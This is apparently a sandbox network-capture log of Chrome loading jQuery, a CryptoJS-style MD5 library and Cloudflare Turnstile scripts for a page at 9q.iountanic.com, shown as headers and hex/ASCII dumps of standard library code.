2024-10-11 13:53:47 UTC	1369	IN	Data Raw: 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 Data Ascii: arAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQ
2024-10-11 13:53:47 UTC	1369	IN	Data Raw: 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 73 Data Ascii: .sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=this
2024-10-11 13:53:47 UTC	1369	IN	Data Raw: 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 5b Data Ascii: ,m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.17	49710	151.101.194.137	443	7136	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 13:53:47 UTC	622	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://9q.iountanic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 13:53:47 UTC	611	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2605798 Date: Fri, 11 Oct 2024 13:53:47 GMT X-Served-By: cache-lga21931-LGA, cache-nyc-kteb1890047-NYC X-Cache: HIT, HIT X-Cache-Hits: 55, 0 X-Timer: S1728654827.293784,VS0,VE0 Vary: Accept-Encoding
2024-10-11 13:53:47 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-10-11 13:53:47 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2024-10-11 13:53:47 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2024-10-11 13:53:47 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2024-10-11 13:53:47 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2024-10-11 13:53:47 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2024-10-11 13:53:47 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2024-10-11 13:53:47 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2024-10-11 13:53:47 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2024-10-11 13:53:47 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.17	49713	104.18.95.41	443	7136	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 13:53:47 UTC	647	OUT	GET /turnstile/v0/b/62ec4f065604/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://9q.iountanic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 13:53:47 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 13:53:47 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47460 Connection: close accept-ranges: bytes last-modified: Tue, 01 Oct 2024 14:19:56 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8d0f56a29e8941d2-EWR alt-svc: h3=":443"; ma=86400
2024-10-11 13:53:47 UTC	1369	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 6c 2c 68 29 7b 74 72 79 7b 76 61 72 20 66 3d 65 5b 6c 5d 28 68 29 2c 70 3d 66 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 73 29 7b 6e 28 73 29 3b 72 65 74 75 72 6e 7d 66 2e 64 6f 6e 65 3f 72 28 70 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 70 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Wt(e,r,n,o,c,l,h){try{var f=e[l](h),p=f.value}catch(s){n(s);return}f.done?r(p):Promise.resolve(p).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var l=e.apply(r,n);funct
2024-10-11 13:53:47 UTC	1369	IN	Data Raw: 74 28 65 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 29 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 6a 74 28 65 2c 72 29 7b 76 61 72 20 6e 3d 65 3d 3d 6e 75 6c 6c 3f 6e 75 6c 6c 3a 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 7c 7c 65 5b 22 40 40 69 74 65 72 61 74 6f 72 22 5d 3b 69 66 28 6e 21 3d 6e 75 6c 6c 29 7b 76 61 72 20 6f 3d 5b 5d 2c 63 3d 21 30 2c 6c 3d 21 31 2c 68 2c 66 3b 74 72 79 7b 66 6f 72 28 6e 3d 6e 2e 63 61 6c 6c 28 65 29 3b 21 28 63 3d 28 68 3d 6e 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 29 26 26 28 6f 2e 70 75 73 68 28 68 2e 76 61 6c 75 65 29 2c 21 28 72 26 26 6f 2e 6c 65 6e 67 74 68 3d 3d 3d 72 29 29 3b 63 3d 21 30 29 Data Ascii: t(e){if(Array.isArray(e))return e}function jt(e,r){var n=e==null?null:typeof Symbol!="undefined"&&e[Symbol.iterator]\|\|e["@@iterator"];if(n!=null){var o=[],c=!0,l=!1,h,f;try{for(n=n.call(e);!(c=(h=n.next()).done)&&(o.push(h.value),!(r&&o.length===r));c=!0)
2024-10-11 13:53:47 UTC	1369	IN	Data Raw: 5d 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 28 73 29 7b 69 66 28 6f 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 47 65 6e 65 72 61 74 6f 72 20 69 73 20 61 6c 72 65 61 64 79 20 65 78 65 63 75 74 69 6e 67 2e 22 29 3b 66 6f 72 28 3b 68 26 26 28 68 3d 30 2c 73 5b 30 5d 26 26 28 6e 3d 30 29 29 2c 6e 3b 29 74 72 79 7b 69 66 28 6f 3d 31 2c 63 26 26 28 6c 3d 73 5b 30 5d 26 32 3f 63 2e 72 65 74 75 72 6e 3a 73 5b 30 5d 3f 63 2e 74 68 72 6f 77 7c 7c 28 28 6c 3d 63 2e 72 65 74 75 72 6e 29 26 26 6c 2e 63 61 6c 6c 28 63 29 2c 30 29 3a 63 2e 6e 65 78 74 29 26 26 21 28 6c 3d 6c 2e 63 61 6c 6c 28 63 2c 73 5b 31 5d 29 29 2e 64 6f 6e 65 29 72 65 74 75 72 6e 20 6c 3b 73 77 69 74 63 68 28 63 3d 30 2c 6c 26 26 28 73 3d 5b 73 5b 30 5d 26 32 2c 6c 2e 76 61 6c Data Ascii: ])}}function p(s){if(o)throw new TypeError("Generator is already executing.");for(;h&&(h=0,s[0]&&(n=0)),n;)try{if(o=1,c&&(l=s[0]&2?c.return:s[0]?c.throw\|\|((l=c.return)&&l.call(c),0):c.next)&&!(l=l.call(c,s[1])).done)return l;switch(c=0,l&&(s=[s[0]&2,l.val
2024-10-11 13:53:47 UTC	1369	IN	Data Raw: 29 29 3b 76 61 72 20 50 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 2c 65 2e 4c 49 47 48 54 3d 22 6c 69 67 68 74 22 2c 65 2e 44 41 52 4b 3d 22 64 61 72 6b 22 7d 29 28 50 65 7c 7c 28 50 65 3d 7b 7d 29 29 3b 76 61 72 20 53 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 46 41 49 4c 55 52 45 5f 57 4f 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 3d 22 66 61 69 6c 75 72 65 2d 77 6f 2d 68 61 76 69 6e 67 2d 74 72 6f 75 62 6c 65 73 22 2c 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 3d 22 66 61 69 6c 75 72 65 2d 68 61 76 69 6e 67 2d 74 72 6f 75 62 6c 65 73 22 2c 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 3d 22 66 61 69 6c 75 72 65 2d 66 65 65 64 62 61 63 6b 22 2c 65 2e 46 41 49 Data Ascii: ));var Pe;(function(e){e.AUTO="auto",e.LIGHT="light",e.DARK="dark"})(Pe\|\|(Pe={}));var 